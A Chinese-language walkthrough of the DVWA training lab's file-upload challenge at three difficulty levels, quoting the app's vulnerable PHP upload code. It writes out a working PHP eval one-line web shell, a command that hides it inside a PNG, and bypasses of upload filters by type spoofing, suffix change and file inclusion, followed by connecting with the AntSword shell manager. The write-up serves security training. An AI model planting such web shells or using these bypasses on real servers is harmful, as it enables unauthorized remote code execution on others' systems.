DVWA文件上传攻略
Low(初级)
1.上传文件
2.创建一个一句话木马
创建 xx.php 文件
<?php @eval($_REQUEST[777]);phpinfo()?>
3.上传一句话木马
4.上传成功
5.拿到路径,连接中国蚁剑
../../hackable/uploads/2.php
6.连接成功
7.分析源码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
我们通过源码可以看到对于文件上传没有做任何过滤,允许所有文件进行上传.所有我们使用一句话木马,配合中国蚁剑就能成功拿到权限.
Medium(中级)
1.上传文件
2.尝试一句话木马
发现失败
3.我们尝试图片木马
准备一张图片和一句话木马
使用命令
copy hh.png/b+2.php/a shell.php
上传成功
或者上传图片抓包.将一句话木马写到图片后面
4.修改后缀
我们要修改图片后缀为php,(因为要和中国蚁连接)放包.
也成功
5.中国蚁剑连接
../../hackable/uploads/shell.php
6.连接成功
7.源码分析
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
通过源码分析我们可以看到,他对上传的文件类型进行过滤,只允许image/jpeg和image/png文件上传,否则不成功,但是他没有审核内容,所以我们使用图片木马轻松绕过,配合中国蚁剑拿到权限.
High(高级)(不推荐看我的)
1.文件上传
尝试上传一句话木马失败了.
上传图片木马成功了.
2.测试
a,抓包进行改后缀
发现上传失败
b.使用双后缀
发现也失败了
c.使用00截断
也不成功
3.文件包含读取
但是我们已经将木马图片上传成功,所以尝试使用文件包含
这里使用的是文件包含的初级读取图片信息,所以能够解析到图片信息